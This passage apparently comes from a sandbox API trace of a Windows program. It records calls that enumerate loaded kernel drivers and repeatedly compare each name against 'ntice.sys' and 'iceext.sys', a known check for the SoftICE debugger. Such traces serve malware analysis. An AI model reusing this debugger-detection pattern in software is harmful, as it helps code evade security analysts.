[44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0121.870] VirtualFree (lpAddress=0x280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.870] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0121.871] GetProcAddress (hModule=0x76fc0000, lpProcName="NtQuerySystemInformation") returned 0x76fdfda0 [0121.871] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x280000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x280000, ResultLength=0x0) returned 0x0 [0121.872] lstrcmpiA (lpString1="ntice.sys", lpString2="ntoskrnl.exe") returned -1 [0121.873] lstrcmpiA (lpString1="ntice.sys", lpString2="hal.dll") returned 1 [0121.873] lstrcmpiA (lpString1="ntice.sys", lpString2="kdcom.dll") returned 1 [0121.874] lstrcmpiA (lpString1="ntice.sys", lpString2="mcupdate_GenuineIntel.dll") returned 1 [0121.875] lstrcmpiA (lpString1="ntice.sys", lpString2="PSHED.dll") returned -1 [0121.875] lstrcmpiA (lpString1="ntice.sys", lpString2="CLFS.SYS") returned 1 [0121.876] lstrcmpiA (lpString1="ntice.sys", lpString2="CI.dll") returned 1 [0121.876] lstrcmpiA (lpString1="ntice.sys", lpString2="Wdf01000.sys") returned -1 [0121.876] lstrcmpiA (lpString1="ntice.sys", lpString2="WDFLDR.SYS") returned -1 [0121.876] lstrcmpiA (lpString1="ntice.sys", lpString2="ACPI.sys") returned 1 [0121.876] lstrcmpiA (lpString1="ntice.sys", lpString2="WMILIB.SYS") returned -1 [0121.876] lstrcmpiA (lpString1="ntice.sys", lpString2="msisadrv.sys") returned 1 [0121.876] lstrcmpiA (lpString1="ntice.sys", lpString2="pci.sys") returned -1 [0121.876] lstrcmpiA (lpString1="ntice.sys", lpString2="vdrvroot.sys") returned -1 [0121.876] lstrcmpiA (lpString1="ntice.sys", lpString2="partmgr.sys") returned -1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgr.sys") returned -1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgrx.sys") returned -1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="mountmgr.sys") returned 1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="atapi.sys") returned 1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="ataport.SYS") returned 1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="msahci.sys") returned 1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="PCIIDEX.SYS") returned -1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="amdxata.sys") returned 1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="fltmgr.sys") returned 1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="fileinfo.sys") returned 1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="Ntfs.sys") returned 1 [0121.877] lstrcmpiA (lpString1="ntice.sys", lpString2="msrpc.sys") returned 1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecdd.sys") returned 1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="cng.sys") returned 1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="pcw.sys") returned -1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="Fs_Rec.sys") returned 1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="ndis.sys") returned 1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="NETIO.SYS") returned 1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecpkg.sys") returned 1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpip.sys") returned -1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="fwpkclnt.sys") returned 1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="vmstorfl.sys") returned -1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="volsnap.sys") returned -1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="spldr.sys") returned -1 [0121.878] lstrcmpiA (lpString1="ntice.sys", lpString2="rdyboost.sys") returned -1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="mup.sys") returned 1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="hwpolicy.sys") returned 1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="fvevol.sys") returned 1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="disk.sys") returned 1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="CLASSPNP.SYS") returned 1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="Null.SYS") returned -1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="Beep.SYS") returned 1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="vga.sys") returned -1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="VIDEOPRT.SYS") returned -1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="watchdog.sys") returned -1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="RDPCDD.sys") returned -1 [0121.879] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpencdd.sys") returned -1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="rdprefmp.sys") returned -1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="Msfs.SYS") returned 1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="Npfs.SYS") returned 1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="tdx.sys") returned -1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="TDI.SYS") returned -1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="afd.sys") returned 1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="netbt.sys") returned 1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="wfplwf.sys") returned -1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="pacer.sys") returned -1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="netbios.sys") returned 1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="wanarp.sys") returned -1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="termdd.sys") returned -1 [0121.880] lstrcmpiA (lpString1="ntice.sys", lpString2="rdbss.sys") returned -1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="nsiproxy.sys") returned 1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="mssmbios.sys") returned 1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="discache.sys") returned 1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="csc.sys") returned 1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="dfsc.sys") returned 1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="blbdrive.sys") returned 1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="tunnel.sys") returned -1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="vgapnp.sys") returned -1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="HDAudBus.sys") returned 1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="usbehci.sys") returned -1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="USBPORT.SYS") returned -1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="E1G6032E.sys") returned 1 [0121.881] lstrcmpiA (lpString1="ntice.sys", lpString2="intelppm.sys") returned 1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="CompositeBus.sys") returned 1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="AgileVpn.sys") returned 1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="rasl2tp.sys") returned -1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="ndistapi.sys") returned 1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="ndiswan.sys") returned 1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="raspppoe.sys") returned -1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="raspptp.sys") returned -1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="rassstp.sys") returned -1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpbus.sys") returned -1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdclass.sys") returned 1 [0121.882] lstrcmpiA (lpString1="ntice.sys", lpString2="mouclass.sys") returned 1 [0121.883] lstrcmpiA (lpString1="ntice.sys", lpString2="swenum.sys") returned -1 [0121.883] lstrcmpiA (lpString1="ntice.sys", lpString2="ks.sys") returned 1 [0121.883] lstrcmpiA (lpString1="ntice.sys", lpString2="umbus.sys") returned -1 [0121.883] lstrcmpiA (lpString1="ntice.sys", lpString2="usbhub.sys") returned -1 [0121.883] lstrcmpiA (lpString1="ntice.sys", lpString2="NDProxy.SYS") returned 1 [0121.883] lstrcmpiA (lpString1="ntice.sys", lpString2="HdAudio.sys") returned 1 [0121.883] lstrcmpiA (lpString1="ntice.sys", lpString2="portcls.sys") returned -1 [0121.883] lstrcmpiA (lpString1="ntice.sys", lpString2="drmk.sys") returned 1 [0121.883] lstrcmpiA (lpString1="ntice.sys", lpString2="ksthunk.sys") returned 1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="crashdmp.sys") returned 1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpata.sys") returned 1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_msahci.sys") returned 1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpfve.sys") returned 1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="win32k.sys") returned -1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="Dxapi.sys") returned 1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="dxg.sys") returned 1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="monitor.sys") returned 1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="TSDDD.dll") returned -1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="framebuf.dll") returned 1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="hidusb.sys") returned 1 [0121.884] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDCLASS.SYS") returned 1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDPARSE.SYS") returned 1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="USBD.SYS") returned -1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdhid.sys") returned 1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="luafv.sys") returned 1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="mouhid.sys") returned 1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="lltdio.sys") returned 1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="rspndr.sys") returned -1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="HTTP.sys") returned 1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="bowser.sys") returned 1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="mpsdrv.sys") returned 1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb.sys") returned 1 [0121.885] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb10.sys") returned 1 [0121.886] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb20.sys") returned 1 [0121.886] lstrcmpiA (lpString1="ntice.sys", lpString2="peauth.sys") returned -1 [0121.886] lstrcmpiA (lpString1="ntice.sys", lpString2="secdrv.SYS") returned -1 [0121.886] lstrcmpiA (lpString1="ntice.sys", lpString2="srvnet.sys") returned -1 [0121.886] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpipreg.sys") returned -1 [0121.886] lstrcmpiA (lpString1="ntice.sys", lpString2="srv2.sys") returned -1 [0121.886] lstrcmpiA (lpString1="ntice.sys", lpString2="srv.sys") returned -1 [0121.886] lstrcmpiA (lpString1="ntice.sys", lpString2="ntdll.dll") returned 1 [0121.886] lstrcmpiA (lpString1="ntice.sys", lpString2="smss.exe") returned -1 [0121.886] lstrcmpiA (lpString1="ntice.sys", lpString2="apisetschema.dll") returned 1 [0121.927] lstrcmpiA (lpString1="iceext.sys", lpString2="ntoskrnl.exe") returned -1 [0121.927] lstrcmpiA (lpString1="iceext.sys", lpString2="hal.dll") returned 1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="kdcom.dll") returned -1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="mcupdate_GenuineIntel.dll") returned -1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="PSHED.dll") returned -1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="CLFS.SYS") returned 1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="CI.dll") returned 1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="Wdf01000.sys") returned -1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="WDFLDR.SYS") returned -1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="ACPI.sys") returned 1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="WMILIB.SYS") returned -1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="msisadrv.sys") returned -1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="pci.sys") returned -1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="vdrvroot.sys") returned -1 [0121.928] lstrcmpiA (lpString1="iceext.sys", lpString2="partmgr.sys") returned -1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgr.sys") returned -1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgrx.sys") returned -1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="mountmgr.sys") returned -1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="atapi.sys") returned 1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="ataport.SYS") returned 1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="msahci.sys") returned -1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="PCIIDEX.SYS") returned -1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="amdxata.sys") returned 1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="fltmgr.sys") returned 1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="fileinfo.sys") returned 1 [0121.929] lstrcmpiA (lpString1="iceext.sys", lpString2="Ntfs.sys") returned -1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="msrpc.sys") returned -1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecdd.sys") returned -1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="cng.sys") returned 1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="pcw.sys") returned -1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="Fs_Rec.sys") returned 1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="ndis.sys") returned -1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="NETIO.SYS") returned -1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecpkg.sys") returned -1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="tcpip.sys") returned -1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="fwpkclnt.sys") returned 1 [0121.930] lstrcmpiA (lpString1="iceext.sys", lpString2="vmstorfl.sys") returned -1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="volsnap.sys") returned -1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="spldr.sys") returned -1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="rdyboost.sys") returned -1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="mup.sys") returned -1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="hwpolicy.sys") returned 1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="fvevol.sys") returned 1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="disk.sys") returned 1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="CLASSPNP.SYS") returned 1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="Null.SYS") returned -1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="Beep.SYS") returned 1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="vga.sys") returned -1 [0121.931] lstrcmpiA (lpString1="iceext.sys", lpString2="VIDEOPRT.SYS") returned -1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="watchdog.sys") returned -1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="RDPCDD.sys") returned -1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpencdd.sys") returned -1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="rdprefmp.sys") returned -1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="Msfs.SYS") returned -1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="Npfs.SYS") returned -1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="tdx.sys") returned -1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="TDI.SYS") returned -1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="afd.sys") returned 1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="netbt.sys") returned -1 [0121.932] lstrcmpiA (lpString1="iceext.sys", lpString2="wfplwf.sys") returned -1 [0121.933] lstrcmpiA (lpString1="iceext.sys", lpString2="pacer.sys") returned -1 [0121.933] lstrcmpiA (lpString1="iceext.sys", lpString2="netbios.sys") returned -1 [0121.933] lstrcmpiA (lpString1="iceext.sys", lpString2="wanarp.sys") returned -1 [0121.933] lstrcmpiA (lpString1="iceext.sys", lpString2="termdd.sys") returned -1 [0121.933] lstrcmpiA (lpString1="iceext.sys", lpString2="rdbss.sys") returned -1 [0121.933] lstrcmpiA (lpString1="iceext.sys", lpString2="nsiproxy.sys") returned -1 [0121.933] lstrcmpiA (lpString1="iceext.sys", lpString2="mssmbios.sys") returned -1 [0121.933] lstrcmpiA (lpString1="iceext.sys", lpString2="discache.sys") returned 1 [0121.934] lstrcmpiA (lpString1="iceext.sys", lpString2="csc.sys") returned 1 [0121.934] lstrcmpiA (lpString1="iceext.sys", lpString2="dfsc.sys") returned 1 [0121.934] lstrcmpiA (lpString1="iceext.sys", lpString2="blbdrive.sys") returned 1 [0121.934] lstrcmpiA (lpString1="iceext.sys", lpString2="tunnel.sys") returned -1 [0121.934] lstrcmpiA (lpString1="iceext.sys", lpString2="vgapnp.sys") returned -1 [0121.934] lstrcmpiA (lpString1="iceext.sys", lpString2="HDAudBus.sys") returned 1 [0121.934] lstrcmpiA (lpString1="iceext.sys", lpString2="usbehci.sys") returned -1 [0121.934] lstrcmpiA (lpString1="iceext.sys", lpString2="USBPORT.SYS") returned -1 [0121.958] lstrcmpiA (lpString1="iceext.sys", lpString2="E1G6032E.sys") returned 1 [0121.959] lstrcmpiA (lpString1="iceext.sys", lpString2="intelppm.sys") returned -1 [0121.959] lstrcmpiA (lpString1="iceext.sys", lpString2="CompositeBus.sys") returned 1 [0121.959] lstrcmpiA (lpString1="iceext.sys", lpString2="AgileVpn.sys") returned 1 [0121.959] lstrcmpiA (lpString1="iceext.sys", lpString2="rasl2tp.sys") returned -1 [0121.959] lstrcmpiA (lpString1="iceext.sys", lpString2="ndistapi.sys") returned -1 [0121.959] lstrcmpiA (lpString1="iceext.sys", lpString2="ndiswan.sys") returned -1 [0121.959] lstrcmpiA (lpString1="iceext.sys", lpString2="raspppoe.sys") returned -1 [0121.959] lstrcmpiA (lpString1="iceext.sys", lpString2="raspptp.sys") returned -1 [0121.959] lstrcmpiA (lpString1="iceext.sys", lpString2="rassstp.sys") returned -1 [0121.959] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpbus.sys") returned -1 [0121.960] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdclass.sys") returned -1 [0121.960] lstrcmpiA (lpString1="iceext.sys", lpString2="mouclass.sys") returned -1 [0121.960] lstrcmpiA (lpString1="iceext.sys", lpString2="swenum.sys") returned -1 [0121.960] lstrcmpiA (lpString1="iceext.sys", lpString2="ks.sys") returned -1 [0121.960] 